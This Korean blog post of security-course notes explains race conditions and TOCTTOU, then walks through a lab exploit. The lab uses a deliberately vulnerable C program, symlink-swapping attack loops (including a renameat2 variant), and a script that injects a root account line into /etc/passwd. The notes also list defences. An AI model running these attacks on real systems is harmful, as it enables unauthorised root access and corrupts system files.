[SSS] Race Condition
공유 자원의 접근 순서를 적당히 조절하지 않으면 의도하지 않은 결과가 발생할 수 있다.
높은 권한을 가진 프로그램이 Race Condition을 가지고 있다면...
function withdraw($amount)
{
$balance = getBalance();
if ($amount <= $balance) {
$balance = $balance - $amount;
echo "You have withdrawn: $amount";
saveBalance($balance);
}
else {
echo "Insufficient funds.";
}
}
쓰레드1이 $balance를 업데이트 하는 부분까지 실행되고 쓰레드2가 같은 함수를 실행한다.
쓰레드2는 쓰레드1이 가져간 잔액과 동일한 양 만큼을 다루기에.. DB를 잘못 업데이트 할 수 있다.
관련 공격으로 TOCTTOU - Time Of Check To Time Of Use 이 있다.
간단하게 말하면 파일 사용 전 검증을 수행하고, 검증 후 그 파일을 바꿔버리는 방식이다.
Symbolic Link를 사용하자.
공격 대상은 루트 권한으로 실행되고 임시 파일을 /tmp 디렉토리에 생성하는 프로그램이고
공격 목표는 루트 권한으로만 수정할 수 있는 시스템 파일을 손상시키기로 설정하자.
루트 권한 프로그램이 /tmp/X 에 데이터를 쓰려고 시도한다.
프로그램은 먼저 access() 함수로 해당 파일을 조작할 수 있는지를 검사한다.
공격자는 미리 /tmp/X 정상적인 파일을 생성해 두고, 프로그램은 access() 검사를 통과한다.
통과한 직후, open() 함수로 파일을 열기 전 까지 Race Window가 존재한다.
공격자는 이 순간을 노려 /tmp/X 파일을 심볼릭 링크로 바꿔버린다.
이 심볼릭 링크는 /etc/passwd 파일을 가리킨다.
프로그램은 access() 검사가 끝났다고 생각하기에 심볼릭 링크로 /etc/passwd 파일을 조작한다.
Race Window 시간이 굉장히 짧아서 그 사이에 정확히 심볼릭 링크로 바꾸는 타이밍을 잡기가 정말 어별다.
너무 빨라도 실패하고 너무 늦어도 실패한다.
검사와 사용을 하나로 묶어서 Atomic 하게 다루면 Race Condition 공격을 막을 수 있다.
파일을 여러 번 검사하거나, 사용자가 심볼릭 링크를 생성하지 못하게 하는 것도 도움이 되고..
항상 강조되는 건 프로그램에는 최소한의 권한만 부여해서 사용하는 것..
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main()
{
char *fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
scanf("%50s", buffer);
if (!access(fn, W_OK)) {
usleep(100);
printf("file opened\n");
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
} else {
printf("No permission \n");
}
return 0;
}
/tmp/XYZ 파일 끝에 사용자 입력을 추가하는 프로그램을 작성하자.
access() 부분에서 파일에 대한 엑세스를 확인하고
fopen()으로 파일을 열고 사용자 입력을 추가한다.
Race Condition 취약점이 있는 코드로, access()와 fopen() 사이의 시간 간격을 활용하자.
/etc/passwd 에 사용자 계정을 임의로 추가해서 로그인이 되는지 확인할 예정.
/tmp/XYZ 파일이 /etc/passwd 를 가리키도록 수정하자.
이 때 unlink() 와 symlink() 함수를 사용해 심볼릭 링크를 설정한다.
취약한 프로그램은 vulp와 공격 프로그램을 실행해서 Race Condition 취약점을 활용해 공격해보자.
#include <unistd.h>
int main()
{
while(1)
{
unlink("/tmp/XYZ");
symlink("/dev/null", "/tmp/XYZ");
usleep(100);
unlink("/tmp/XYZ");
symlink("/etc/passwd", "/tmp/XYZ");
usleep(100);
}
return 0;
}
사용자 소유의 파일에 심볼릭 링크를 생성해 access() 함수를 통과한다.
sleep 으로 취약할 프로세스가 실행되는 시간을 확보하고, 심볼릭 링크 해제 후 /etc/passwd로 연결되는 심볼릭 링크를 생성하자.
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
echo "start loop"
echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash" | ./vulp
new=$($CHECK_FILE)
echo "end loop"
done
echo "STOP... The passwd file has been changed"
vulp코드를 실행시키는 쉘을 작성해 공격해보자.

attak_process를 백그라운드에서 실행시키고, 포그라운드에서는 공격 스크립트를 실행시킨다.
/etc/passwd 파일이 변경될 때 까지 vulp 프로그램을 실행하고, 몇 번 시도 후 레이스에 승리해 /etc/passwd 파일에 사용자 정보를 추가한다.
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
int main()
{
unsigned int flags = RENAME_EXCHANGE;
while(1) {
unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
}
return 0;
}
symlink 생성을 원자적으로 수행하는 공격 코드는 Race Condition에서 승리할 확률이 높다.
물론 지금도 잘 되긴 함;;


새로 백그라운드로 실행시키면 루프가 반복된다.
/tmp 아래에 생성된 파일들을 삭제하고 다시 진행하자.

공격 성공~
'Computer Science > Computer Security' 카테고리의 다른 글
| [SSS] Software Defense (0) | 2025.11.10 |
|---|---|
| [SSS] OS kernel and Rootkit (0) | 2025.11.01 |
| [SSS] Return Oriented Programming (0) | 2025.10.09 |
| [SSS] Format String Bug (0) | 2025.10.06 |
| [SSS] Control Flow Hijacking - Shellcode (0) | 2025.09.29 |
댓글
이 글 공유하기
다른 글
-
[SSS] Software Defense
[SSS] Software Defense
2025.11.10 -
[SSS] OS kernel and Rootkit
[SSS] OS kernel and Rootkit
2025.11.01 -
[SSS] Return Oriented Programming
[SSS] Return Oriented Programming
2025.10.09 -
[SSS] Format String Bug
[SSS] Format String Bug
2025.10.06